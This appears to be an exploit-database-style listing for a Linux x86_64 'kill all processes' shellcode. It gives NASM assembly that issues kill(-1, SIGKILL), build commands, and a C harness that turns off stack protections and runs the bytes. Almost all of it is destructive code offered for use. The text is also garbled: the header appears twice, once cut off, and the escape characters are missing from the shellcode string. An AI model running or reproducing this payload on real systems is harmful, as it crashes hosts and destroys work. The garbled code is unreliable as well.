Linux x64 Kill All Processes Shellcode

/*
;Title: Linux/x86_64 - KILL_ALL
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 11 bytes

========DESCTIPT /*
;Title: Linux/x86_64 - KILL_ALL
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 11 bytes

========DESCTIPTION===========================
#include <sys/types.h>
#include <signal.h>
int kill(pid_t pid, int sig);


===COMPILATION AND EXECUTION==================

#nasm -f elf64 kill.nasm -o kill.o

#ld kill.o -o kill

=================SHELLCODE================

global _start

section .text

_start:





push 0x3e ; sys kill
pop rax
push -1 ; pid
pop rdi
push 0x9 ; sig kill
pop rsi
syscall



====================FOR C Compile===========================


# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing

*/

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"x6ax3ex58x6axffx5fx6ax09x5ex0fx05";


main()
{

printf("Shellcode Length: %d ", (int)strlen(code));

int (*ret)() = (int(*)())code;

ret();

}